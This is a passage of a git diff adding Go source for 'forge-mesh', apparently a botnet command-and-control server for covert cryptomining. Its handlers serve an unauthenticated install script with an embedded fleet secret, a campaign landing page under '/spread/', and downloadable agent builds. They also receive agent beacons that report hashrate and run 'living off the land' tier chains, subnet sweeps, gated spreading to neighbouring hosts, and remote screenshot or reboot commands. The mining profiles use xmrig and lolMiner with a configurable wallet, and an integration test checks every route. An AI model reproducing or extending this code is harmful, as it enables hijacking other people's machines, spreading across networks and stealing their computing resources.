h.Alerts.Enabled() { + h.Alerts.Send(alerts.FleetEvent(action, hostID, fmt.Sprintf("cmd: `%s`", cmd.ID))) + } + + auth.JSON(w, http.StatusOK, map[string]any{ + "ok": true, + "command": cmd, + }) +} diff --git a/internal/api/handlers/forge.go b/internal/api/handlers/forge.go new file mode 100644 index 0000000..1a03230 --- /dev/null +++ b/internal/api/handlers/forge.go @@ -0,0 +1,84 @@ +package handlers + +import ( + "database/sql" + "encoding/json" + "net/http" + + "forge-mesh/internal/auth" + "forge-mesh/internal/forge" +) + +// ForgeHandler manages build artifacts. +type ForgeHandler struct { + DB *sql.DB + Pipeline *forge.Pipeline + Version string +} + +func (h *ForgeHandler) ListBuilds(w http.ResponseWriter, r *http.Request) { + rows, err := h.DB.Query(` + SELECT id, os, arch, version, checksum, signature, public, created_at + FROM builds ORDER BY created_at DESC LIMIT 50 + `) + if err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + defer rows.Close() + + type buildRow struct { + ID string `json:"id"` + OS string `json:"os"` + Arch string `json:"arch"` + Version string `json:"version"` + Checksum string `json:"checksum"` + Signature string `json:"signature,omitempty"` + Public bool `json:"public"` + CreatedAt string `json:"created_at"` + } + + var builds []buildRow + for rows.Next() { + var b buildRow + var sig sql.NullString + var pub int + if err := rows.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &sig, &pub, &b.CreatedAt); err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + b.Public = pub == 1 + if sig.Valid { + b.Signature = sig.String + } + builds = append(builds, b) + } + if builds == nil { + builds = []buildRow{} + } + auth.JSON(w, http.StatusOK, map[string]any{"builds": builds}) +} + +func (h *ForgeHandler) TriggerBuild(w http.ResponseWriter, r *http.Request) { + var req struct { + Public bool `json:"public"` + } + _ = json.NewDecoder(r.Body).Decode(&req) + if !req.Public { + req.Public = true + } + + builds, err := h.Pipeline.BuildAll(req.Public) + if err != nil { + auth.JSON(w, http.StatusOK, map[string]any{ + "ok": false, + "message": err.Error(), + }) + return + } + + auth.JSON(w, http.StatusOK, map[string]any{ + "ok": true, + "builds": builds, + }) +} diff --git a/internal/api/handlers/health.go b/internal/api/handlers/health.go new file mode 100644 index 0000000..1174584 --- /dev/null +++ b/internal/api/handlers/health.go @@ -0,0 +1,34 @@ +package handlers + +import ( + "encoding/json" + "net/http" + "time" +) + +type HealthResponse struct { + Status string `json:"status"` + Service string `json:"service"` + Version string `json:"version"` + Timestamp string `json:"timestamp"` +} + +// Health returns a basic liveness handler for GET /api/v1/health. +func Health(version string) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + return + } + + resp := HealthResponse{ + Status: "ok", + Service: "forge-mesh-server", + Version: version, + Timestamp: time.Now().UTC().Format(time.RFC3339), + } + + w.Header().Set("Content-Type", "application/json") + _ = json.NewEncoder(w).Encode(resp) + } +} diff --git a/internal/api/handlers/install_tmpl_test.go b/internal/api/handlers/install_tmpl_test.go new file mode 100644 index 0000000..8ad76a7 --- /dev/null +++ b/internal/api/handlers/install_tmpl_test.go @@ -0,0 +1,29 @@ +package handlers + +import ( + "bytes" + "os" + "path/filepath" + "testing" + "text/template" +) + +func TestInstallTemplateExecute(t *testing.T) { + root, _ := filepath.Abs(filepath.Join("..", "..", "..")) + tmplPath := filepath.Join(root, "scripts", "install.sh.tpl") + b, err := os.ReadFile(tmplPath) + if err != nil { + t.Fatal(err) + } + tmpl, err := template.New("install.sh").Parse(string(b)) + if err != nil { + t.Fatalf("parse: %v", err) + } + data := installData{ + DeckURL: "http://localhost:8989", PublicKey: "abc", FleetSecret: "sec", + } + var buf bytes.Buffer + if err := tmpl.Execute(&buf, data); err != nil { + t.Fatalf("execute: %v", err) + } +} diff --git a/internal/api/handlers/intelligence.go b/internal/api/handlers/intelligence.go new file mode 100644 index 0000000..97b003b --- /dev/null +++ b/internal/api/handlers/intelligence.go @@ -0,0 +1,253 @@ +package handlers + +import ( + "encoding/json" + "io" + "net/http" + "strconv" + + "forge-mesh/internal/auth" + "forge-mesh/internal/court" + "forge-mesh/internal/erasure" + "forge-mesh/internal/fleet" +) + +// IntelligenceDeps bundles triple-onion fleet intelligence handlers. +type IntelligenceDeps struct { + Store *fleet.Store + Subnet *fleet.SubnetMapper + Earn *fleet.EarnGate +} + +// RunLOTL handles POST /api/v1/fleet/{id}/lotl/run — execute tier chain with recon. +func RunLOTL(deps IntelligenceDeps) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + hostID := r.PathValue("id") + if hostID == "" { + http.Error(w, "host id required", http.StatusBadRequest) + return + } + + strategy := fleet.AdaptiveStrategy{Store: deps.Store} + order, err := strategy.OrderForHost(r.Context(), hostID) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + + results, err := fleet.RunTierChain(r.Context(), deps.Store, hostID, order) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + + auth.JSON(w, http.StatusOK, map[string]interface{}{ + "host_id": hostID, + "order": order, + "results": results, + }) + } +} + +// ListLOTL handles GET /api/v1/fleet/{id}/lotl. +func ListLOTL(deps IntelligenceDeps) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + hostID := r.PathValue("id") + attempts, err := deps.Store.ListLOTL(r.Context(), hostID, 100) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + auth.JSON(w, http.StatusOK, map[string]interface{}{ + "host_id": hostID, + "attempts": attempts, + }) + } +} + +// SpreadGate handles GET /api/v1/fleet/{id}/spread-gate (earn-before-burn). +func SpreadGate(deps IntelligenceDeps) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + hostID := r.PathValue("id") + dec, err := deps.Earn.CanSpreadToSiblings(r.Context(), hostID) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + auth.JSON(w, http.StatusOK, dec) + } +} + +// SubnetList handles GET /api/v1/fleet/subnets. +func SubnetList(deps IntelligenceDeps) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + cidrs, err := deps.Subnet.ListCIDRs(r.Context()) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + auth.JSON(w, http.StatusOK, map[string]interface{}{"cidrs": cidrs}) + } +} + +// SubnetAdd handles POST /api/v1/fleet/subnets. +func SubnetAdd(deps IntelligenceDeps) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + var req struct { + CIDR string `json:"cidr"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.CIDR == "" { + http.Error(w, "cidr required", http.StatusBadRequest) + return + } + c, err := deps.Subnet.AddCIDR(r.Context(), req.CIDR) + if err != nil { + http.Error(w, err.Error(), http.StatusBadRequest) + return + } + auth.JSON(w, http.StatusCreated, c) + } +} + +// SubnetSweep handles POST /api/v1/fleet/subnets/sweep. +func SubnetSweep(deps IntelligenceDeps) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + results, err := deps.Subnet.SweepAll(r.Context()) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + auth.JSON(w, http.StatusOK, map[string]interface{}{"results": results}) + } +} + +// CourtDeps bundles court handler dependencies. +type CourtDeps struct { + Court *court.Court + Seer *court.SeerHub +} + +// CourtOpen handles POST /api/v1/court/sessions. +func CourtOpen(deps CourtDeps) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + var req struct { + HostID string `json:"host_id"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.HostID == "" { + http.Error(w, "host_id required", http.StatusBadRequest) + return + } + s, err := deps.Court.OpenSession(r.Context(), req.HostID) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + auth.JSON(w, http.StatusCreated, s) + } +} + +// CourtDeliberate handles POST /api/v1/court/sessions/{id}/deliberate. +func CourtDeliberate(deps CourtDeps) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + id := r.PathValue("id") + s, err := deps.Court.Deliberate(r.Context(), id) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + auth.JSON(w, http.StatusOK, s) + } +} + +// CourtVerdict handles POST /api/v1/court/sessions/{id}/verdict (L4). +func CourtVerdict(deps CourtDeps) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + id := r.PathValue("id") + var req struct { + Verdict string `json:"verdict"` + Clearance int `json:"clearance"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.Verdict == "" { + http.Error(w, "verdict required", http.StatusBadRequest) + return + } + if req.Clearance == 0 { + req.Clearance = 4 + } + if err := deps.Court.DispatchVerdict(r.Context(), id, req.Verdict, req.Clearance); err != nil { + http.Error(w, err.Error(), http.StatusForbidden) + return + } + auth.JSON(w, http.StatusOK, map[string]string{"ok": "true", "verdict": req.Verdict}) + } +} + +// Timeline handles GET /api/v1/fleet/{id}/timeline (LOTL + court). +func Timeline(deps CourtDeps) http.HandlerFunc { + return court.TimelineHandler(deps.Court) +} + +// ErasureDeps bundles public erasure routes. +type ErasureDeps struct { + Service *erasure.Service +} + +// ErasureEncode handles POST /api/v1/public/erasure/encode (dev/admin via basic elsewhere). +func ErasureEncode(deps ErasureDeps) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + name := r.URL.Query().Get("name") + if name == "" { + name = "bundle" + } + data, err := io.ReadAll(io.LimitReader(r.Body, 16<<20)) + if err != nil { + http.Error(w, "read error", http.StatusBadRequest) + return + } + b, err := deps.Service.Encode(r.Context(), name, data) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + auth.JSON(w, http.StatusCreated, b) + } +} + +// ErasureShard handles GET /api/v1/public/erasure/{bundle_id}/shard/{index}. +func ErasureShard(deps ErasureDeps) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + bundleID := r.PathValue("bundle_id") + idx, err := strconv.Atoi(r.PathValue("index")) + if err != nil { + http.Error(w, "invalid index", http.StatusBadRequest) + return + } + sh, err := deps.Service.GetShard(r.Context(), bundleID, idx) + if err != nil { + http.Error(w, "not found", http.StatusNotFound) + return + } + w.Header().Set("Content-Type", "application/octet-stream") + w.Header().Set("X-Shard-Index", strconv.Itoa(sh.ShardIndex)) + _, _ = w.Write(sh.Data) + } +} + +// ErasureBundleMeta handles GET /api/v1/public/erasure/{bundle_id}. +func ErasureBundleMeta(deps ErasureDeps) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + bundleID := r.PathValue("bundle_id") + b, err := deps.Service.GetBundle(r.Context(), bundleID) + if err != nil { + http.Error(w, "not found", http.StatusNotFound) + return + } + indices, _ := deps.Service.ListShards(r.Context(), bundleID) + auth.JSON(w, http.StatusOK, map[string]interface{}{ + "bundle": b, + "shards": indices, + "public": true, + "scheme": "RS_4_2", + }) + } +} diff --git a/internal/api/handlers/public.go b/internal/api/handlers/public.go new file mode 100644 index 0000000..09dcb2e --- /dev/null +++ b/internal/api/handlers/public.go @@ -0,0 +1,138 @@ +package handlers + +import ( + "bytes" + "database/sql" + "fmt" + "text/template" + "net/http" + "os" + "strings" + + "forge-mesh/internal/forge" +) + +// PublicHandlers serves unauthenticated summon routes. +type PublicHandlers struct { + DB *sql.DB + ArtifactsDir string + PublicKeyHex string + FleetSecret string + Version string + InstallTmpl *template.Template + DeckURL func(r *http.Request) string +} + +type installData struct { + DeckURL string + PublicKey string + FleetSecret string + Pin string + Campaign string +} + +func NewPublicHandlers(db *sql.DB, artifactsDir, publicKeyHex string, installTmplPath string) (*PublicHandlers, error) { + tmplBytes, err := os.ReadFile(installTmplPath) + if err != nil { + return nil, fmt.Errorf("read install template: %w", err) + } + + tmpl, err := template.New("install.sh").Parse(string(tmplBytes)) + if err != nil { + return nil, fmt.Errorf("parse install template: %w", err) + } + + return &PublicHandlers{ + DB: db, + ArtifactsDir: artifactsDir, + PublicKeyHex: publicKeyHex, + InstallTmpl: tmpl, + DeckURL: func(r *http.Request) string { + scheme := "http" + if r.TLS != nil || r.Header.Get("X-Forwarded-Proto") == "https" { + scheme = "https" + } + return fmt.Sprintf("%s://%s", scheme, r.Host) + }, + }, nil +} + +func (h *PublicHandlers) InstallSh(w http.ResponseWriter, r *http.Request) { + data := installData{ + DeckURL: h.DeckURL(r), + PublicKey: h.PublicKeyHex, + FleetSecret: h.FleetSecret, + Pin: r.URL.Query().Get("pin"), + Campaign: r.URL.Query().Get("c"), + } + + var buf bytes.Buffer + if err := h.InstallTmpl.Execute(&buf, data); err != nil { + http.Error(w, "template error", http.StatusInternalServerError) + return + } + + w.Header().Set("Content-Type", "text/x-shellscript; charset=utf-8") + w.Write(buf.Bytes()) +} + +func (h *PublicHandlers) GetRedirect(w http.ResponseWriter, r *http.Request) { + target := "/install.sh" + if q := r.URL.RawQuery; q != "" { + target += "?" + q + } + http.Redirect(w, r, target, http.StatusFound) +} + +func (h *PublicHandlers) LatestBuild(w http.ResponseWriter, r *http.Request) { + osName := r.URL.Query().Get("os") + arch := r.URL.Query().Get("arch") + if osName == "" { + osName = "linux" + } + if arch == "" { + arch = "amd64" + } + + build, err := forge.LatestPublic(h.DB, osName, arch) + if err != nil { + if err == sql.ErrNoRows { + http.Error(w, "no public build", http.StatusNotFound) + return + } + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + + w.Header().Set("Content-Type", "application/json") + fmt.Fprintf(w, `{"id":%q,"os":%q,"arch":%q,"version":%q,"checksum":%q,"signature":%q,"download_url":"/api/v1/public/download/%s"}`, + build.ID, build.OS, build.Arch, build.Version, build.Checksum, build.Signature, build.ID) +} + +func (h *PublicHandlers) Download(w http.ResponseWriter, r *http.Request) { + id := r.PathValue("id") + if strings.Contains(id, "..") { + http.Error(w, "bad request", http.StatusBadRequest) + return + } + + build, err := forge.GetBuild(h.DB, id) + if err != nil { + http.Error(w, "not found", http.StatusNotFound) + return + } + if !build.Public { + http.Error(w, "forbidden", http.StatusForbidden) + return + } + if build.Path == "" { + http.Error(w, "artifact missing", http.StatusNotFound) + return + } + + w.Header().Set("Content-Type", "application/octet-stream") + w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="forge-mesh-agent-%s-%s"`, build.OS, build.Arch)) + if err := forge.CopyArtifact(build.Path, w); err != nil { + http.Error(w, "read error", http.StatusInternalServerError) + } +} diff --git a/internal/api/handlers/seer.go b/internal/api/handlers/seer.go new file mode 100644 index 0000000..2c225b7 --- /dev/null +++ b/internal/api/handlers/seer.go @@ -0,0 +1,174 @@ +package handlers + +import ( + "encoding/base64" + "encoding/json" + "fmt" + "net/http" + "strings" + "time" + + "forge-mesh/internal/auth" + "forge-mesh/internal/config" + "forge-mesh/internal/fleet" +) + +// SeerHandler streams court/LOTL events via SSE. +type SeerHandler struct { + Store *fleet.Store + Username string + Password string +} + +func (h *SeerHandler) Stream(w http.ResponseWriter, r *http.Request) { + if !h.authenticated(r) { + http.Error(w, "unauthorized", http.StatusUnauthorized) + return + } + + flusher, ok := w.(http.Flusher) + if !ok { + http.Error(w, "streaming unsupported", http.StatusInternalServerError) + return + } + + w.Header().Set("Content-Type", "text/event-stream") + w.Header().Set("Cache-Control", "no-cache") + w.Header().Set("Connection", "keep-alive") + + events, _ := h.Store.ListSeerEvents(20) + for _, ev := range events { + payload, _ := json.Marshal(ev) + fmt.Fprintf(w, "data: %s\n\n", payload) + } + flusher.Flush() + + ticker := time.NewTicker(5 * time.Second) + defer ticker.Stop() + + for { + select { + case <-r.Context().Done(): + return + case <-ticker.C: + events, err := h.Store.ListSeerEvents(5) + if err != nil { + continue + } + for _, ev := range events { + payload, _ := json.Marshal(ev) + fmt.Fprintf(w, "data: %s\n\n", payload) + flusher.Flush() + } + } + } +} + +func (h *SeerHandler) authenticated(r *http.Request) bool { + if user, pass, ok := r.BasicAuth(); ok { + return user == h.Username && pass == h.Password + } + if authHeader := r.URL.Query().Get("authorization"); authHeader != "" { + raw := strings.TrimPrefix(authHeader, "Basic ") + decoded, err := base64.StdEncoding.DecodeString(raw) + if err != nil { + return false + } + parts := strings.SplitN(string(decoded), ":", 2) + if len(parts) != 2 { + return false + } + return parts[0] == h.Username && parts[1] == h.Password + } + return false +} + +// WSTicketHandler issues one-time WebSocket tickets. +type WSTicketHandler struct { + Tickets *auth.TicketStore +} + +func (h *WSTicketHandler) Issue(w http.ResponseWriter, r *http.Request) { + ticket, err := h.Tickets.Issue() + if err != nil || ticket == "" { + http.Error(w, "ticket issue failed", http.StatusInternalServerError) + return + } + auth.JSON(w, http.StatusOK, map[string]string{"ticket": ticket}) +} + +// OperatorHandler returns operator clearance info. +type OperatorHandler struct { + Clearance int +} + +func (h *OperatorHandler) Me(w http.ResponseWriter, r *http.Request) { + auth.JSON(w, http.StatusOK, map[string]any{ + "clearance_level": h.Clearance, + "label": fleet.ClearanceLabel(h.Clearance), + }) +} + +// PolicyHandler serves wallet and mining profile endpoints. +type PolicyHandler struct { + Cfg *config.Config + Store *fleet.Store +} + +func (h *PolicyHandler) GetWallet(w http.ResponseWriter, r *http.Request) { + auth.JSON(w, http.StatusOK, h.Cfg.WalletPolicy) +} + +func (h *PolicyHandler) PutWallet(w http.ResponseWriter, r *http.Request) { + var wp config.WalletPolicy + if err := json.NewDecoder(r.Body).Decode(&wp); err != nil { + http.Error(w, "bad request", http.StatusBadRequest) + return + } + if wp.DefaultWallet != "" { + h.Cfg.WalletPolicy.DefaultWallet = wp.DefaultWallet + } + if wp.Currency != "" { + h.Cfg.WalletPolicy.Currency = wp.Currency + } + auth.JSON(w, http.StatusOK, h.Cfg.WalletPolicy) +} + +func (h *PolicyHandler) GetMiningProfile(w http.ResponseWriter, r *http.Request) { + auth.JSON(w, http.StatusOK, defaultMiningProfile(h.Cfg)) +} + +func (h *PolicyHandler) PutMiningProfile(w http.ResponseWriter, r *http.Request) { + var profile miningProfileRequest + if err := json.NewDecoder(r.Body).Decode(&profile); err != nil { + http.Error(w, "bad request", http.StatusBadRequest) + return + } + if profile.WalletAddress != "" { + h.Cfg.WalletPolicy.DefaultWallet = profile.WalletAddress + } + auth.JSON(w, http.StatusOK, profile) +} + +type miningProfileRequest struct { + WalletAddress string `json:"wallet_address"` + Tiers []tierEntry `json:"tiers"` +} + +type tierEntry struct { + Tier int `json:"tier"` + Name string `json:"name"` + Enabled bool `json:"enabled"` +} + +func defaultMiningProfile(cfg *config.Config) miningProfileRequest { + return miningProfileRequest{ + WalletAddress: cfg.WalletPolicy.DefaultWallet, + Tiers: []tierEntry{ + {Tier: 1, Name: "OCI podman", Enabled: true}, + {Tier: 2, Name: "Bundled xmrig", Enabled: true}, + {Tier: 3, Name: "GPU lolMiner", Enabled: true}, + {Tier: 4, Name: "Stratum-direct fallback", Enabled: false}, + }, + } +} \ No newline at end of file diff --git a/internal/api/integration_test.go b/internal/api/integration_test.go new file mode 100644 index 0000000..da3e5bf --- /dev/null +++ b/internal/api/integration_test.go @@ -0,0 +1,718 @@ +//go:build integration + +package api_test + +import ( + "bufio" + "bytes" + "context" + "database/sql" + "encoding/json" + "fmt" + "io" + "net/http" + "net/url" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "forge-mesh/internal/api/handlers" + "forge-mesh/internal/erasure" + "forge-mesh/internal/fleet" + "forge-mesh/internal/testutil" + + "github.com/gorilla/websocket" +) + +type routeResult struct { + name string + pass bool + detail string +} + +func TestIntegrationAllRoutes(t *testing.T) { + ts := testutil.NewTestServer(t) + defer ts.Close() + + seedData(t, ts) + + var results []routeResult + record := func(name string, pass bool, detail string) { + results = append(results, routeResult{name: name, pass: pass, detail: detail}) + if !pass { + t.Errorf("%s: %s", name, detail) + } + } + + check := func(name string, fn func() (bool, string)) { + pass, detail := fn() + record(name, pass, detail) + } + + // --- Public routes --- + check("GET /api/v1/health", func() (bool, string) { return testHealth(t, ts) }) + check("GET /install.sh", func() (bool, string) { return testInstallSh(t, ts) }) + check("GET /get", func() (bool, string) { return testGetRedirect(t, ts) }) + check("GET /spread/", func() (bool, string) { return testSpread(t, ts) }) + check("GET /api/v1/public/builds", func() (bool, string) { return testPublicBuilds(t, ts) }) + check("GET /api/v1/public/builds/latest", func() (bool, string) { return testPublicBuildsLatest(t, ts) }) + check("GET /api/v1/public/download/{id}", func() (bool, string) { return testPublicDownload(t, ts) }) + check("GET /api/v1/public/erasure/{bundle_id}", func() (bool, string) { return testErasureBundle(t, ts) }) + check("GET /api/v1/public/erasure/{bundle_id}/shard/{index}", func() (bool, string) { return testErasureShard(t, ts) }) + check("GET /api/v1/public/policy-snapshot/{token}", func() (bool, string) { return testPolicySnapshot(t, ts) }) + + // --- Agent routes (Bearer) --- + check("POST /api/v1/fleet/register", func() (bool, string) { return testFleetRegister(t, ts) }) + check("POST /api/v1/fleet/beacon", func() (bool, string) { return testFleetBeacon(t, ts) }) + + // --- Protected routes (Basic) --- + check("GET /api/v1/fleet", func() (bool, string) { return testFleetList(t, ts) }) + check("GET /api/v1/fleet/hosts", func() (bool, string) { return testFleetHosts(t, ts) }) + check("POST /api/v1/fleet/{id}/mining-profile", func() (bool, string) { return testMiningProfile(t, ts) }) + check("POST /api/v1/fleet/{id}/action pause", func() (bool, string) { return testFleetAction(t, ts, "pause") }) + check("POST /api/v1/fleet/{id}/action reboot", func() (bool, string) { return testFleetAction(t, ts, "reboot") }) + check("POST /api/v1/fleet/{id}/action screenshot", func() (bool, string) { return testFleetAction(t, ts, "screenshot") }) + check("GET /api/v1/fleet/{id}/lotl/timeline", func() (bool, string) { return testLOTLTimeline(t, ts) }) + check("GET /api/v1/forge/builds", func() (bool, string) { return testForgeBuilds(t, ts) }) + check("GET /api/v1/calibrate/profiles", func() (bool, string) { return testCalibrateProfiles(t, ts) }) + check("POST /api/v1/crucible/batch", func() (bool, string) { return testCrucibleBatch(t, ts) }) + check("GET /api/v1/crucible/batch/{id}", func() (bool, string) { return testCrucibleBatchGet(t, ts) }) + check("POST /api/v1/crucible/exec", func() (bool, string) { return testCrucibleExec(t, ts) }) + check("GET /api/v1/seer (SSE)", func() (bool, string) { return testSeerSSE(t, ts, "/api/v1/seer") }) + check("GET /seer (SSE)", func() (bool, string) { return testSeerSSE(t, ts, "/seer") }) + check("GET /api/v1/war-room/campaigns", func() (bool, string) { return testWarRoom(t, ts) }) + check("GET /api/v1/wireguard/peers", func() (bool, string) { return testWireGuardList(t, ts) }) + check("POST /api/v1/wireguard/peers", func() (bool, string) { return testWireGuardCreate(t, ts) }) + + // --- WebSocket --- + check("POST /api/v1/ws/ticket", func() (bool, string) { return testWSTicket(t, ts) }) + check("GET /api/v1/ws/fleet deck connect", func() (bool, string) { return testWSFleetDeck(t, ts) }) + check("GET /api/v1/ws/fleet agent heartbeat", func() (bool, string) { return testWSFleetAgentHeartbeat(t, ts) }) + check("GET /api/v1/ws/fleet command roundtrip", func() (bool, string) { return testWSCommandRoundtrip(t, ts) }) + + t.Log("--- Route checklist ---") + passed, failed := 0, 0 + for _, r := range results { + status := "PASS" + if !r.pass { + status = "FAIL" + failed++ + } else { + passed++ + } + t.Logf("[%s] %s %s", status, r.name, r.detail) + } + t.Logf("Total: %d passed, %d failed", passed, failed) +} + +var ( + testHostID string + testBundleID string + testBatchID string +) + +func seedData(t *testing.T, ts *testutil.TestServer) { + t.Helper() + ctx := context.Background() + + // Demo host from SeedDemoHost + hosts, err := fleet.NewStore(ts.SQL).ListHosts() + if err != nil || len(hosts) == 0 { + t.Fatal("expected seeded demo host") + } + testHostID = hosts[0].ID + + _ = fleet.NewStore(ts.SQL).LogLOTL(ctx, testHostID, 2, "deploy", "success", "", `{}`) + + svc := erasure.NewService(ts.SQL) + bundle, err := svc.Encode(ctx, "integration-test", []byte("aetherforge erasure integration payload")) + if err != nil { + t.Fatalf("seed erasure: %v", err) + } + testBundleID = bundle.ID + + policyJSON := `{"wallet_address":"test-wallet","tiers":[{"type":"xmrig"}]}` + if err := handlers.SeedPolicySnapshot(ctx, ts.SQL, "test-policy-token", policyJSON); err != nil { + t.Fatalf("seed policy: %v", err) + } + if err := handlers.SeedCampaign(ctx, ts.SQL, "ember", "Emberwake Test", 42); err != nil { + t.Fatalf("seed campaign: %v", err) + } + + artifactPath := filepath.Join(t.TempDir(), "agent-linux-amd64") + if err := os.WriteFile(artifactPath, []byte("#!/bin/sh\necho agent"), 0o755); err != nil { + t.Fatalf("write artifact: %v", err) + } + buildID := "integration-build-amd64" + _, err = ts.SQL.ExecContext(ctx, ` + INSERT INTO builds (id, os, arch, version, checksum, signature, public, path, created_at) + VALUES (?, 'linux', 'amd64', 'integration-test', 'abc123', 'sig', 1, ?, datetime('now'))`, + buildID, artifactPath) + if err != nil { + t.Fatalf("seed build: %v", err) + } +} + +func testHealth(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := http.Get(ts.URL + "/api/v1/health") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + var body map[string]any + if err := json.NewDecoder(resp.Body).Decode(&body); err != nil { + return false, err.Error() + } + if body["status"] != "ok" { + return false, fmt.Sprintf("body %v", body) + } + return true, "200 ok" +} + +func testInstallSh(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := http.Get(ts.URL + "/install.sh") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + body, _ := io.ReadAll(resp.Body) + return false, fmt.Sprintf("status %d: %s", resp.StatusCode, strings.TrimSpace(string(body))) + } + return true, "200 shell script" +} + +func testGetRedirect(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := http.Get(ts.URL + "/get?c=test") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusFound { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + loc := resp.Header.Get("Location") + if !strings.Contains(loc, "/install.sh") { + return false, "missing install.sh redirect" + } + return true, "302 -> install.sh" +} + +func testSpread(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := http.Get(ts.URL + "/spread/?c=ember") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + body, _ := io.ReadAll(resp.Body) + if !strings.Contains(string(body), "Emberwake") { + return false, "missing lander content" + } + return true, "200 HTML lander" +} + +func testPublicBuilds(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := http.Get(ts.URL + "/api/v1/public/builds") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 builds list" +} + +func testPublicBuildsLatest(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := http.Get(ts.URL + "/api/v1/public/builds/latest?os=linux&arch=amd64") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 latest build" +} + +func testPublicDownload(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := http.Get(ts.URL + "/api/v1/public/download/integration-build-amd64") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 artifact stream" +} + +func testErasureBundle(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := http.Get(ts.URL + "/api/v1/public/erasure/" + testBundleID) + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 bundle metadata" +} + +func testErasureShard(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := http.Get(ts.URL + "/api/v1/public/erasure/" + testBundleID + "/shard/0") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 shard hex" +} + +func testPolicySnapshot(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := http.Get(ts.URL + "/api/v1/public/policy-snapshot/test-policy-token") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 policy JSON" +} + +func testFleetRegister(t *testing.T, ts *testutil.TestServer) (bool, string) { + body := bytes.NewBufferString(`{"hostname":"agent-integration","arch":"amd64"}`) + req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/fleet/register", body) + req.Header.Set("Authorization", "Bearer "+ts.FleetSecret) + req.Header.Set("Content-Type", "application/json") + resp, err := http.DefaultClient.Do(req) + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 enrolled" +} + +func testFleetBeacon(t *testing.T, ts *testutil.TestServer) (bool, string) { + payload := fmt.Sprintf(`{"host_id":%q,"hostname":"beacon-host","hashrate_hps":1000}`, testHostID) + req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/fleet/beacon", strings.NewReader(payload)) + req.Header.Set("Authorization", "Bearer "+ts.FleetSecret) + req.Header.Set("Content-Type", "application/json") + resp, err := http.DefaultClient.Do(req) + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 beacon ack" +} + +func testFleetList(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := basicGet(ts, 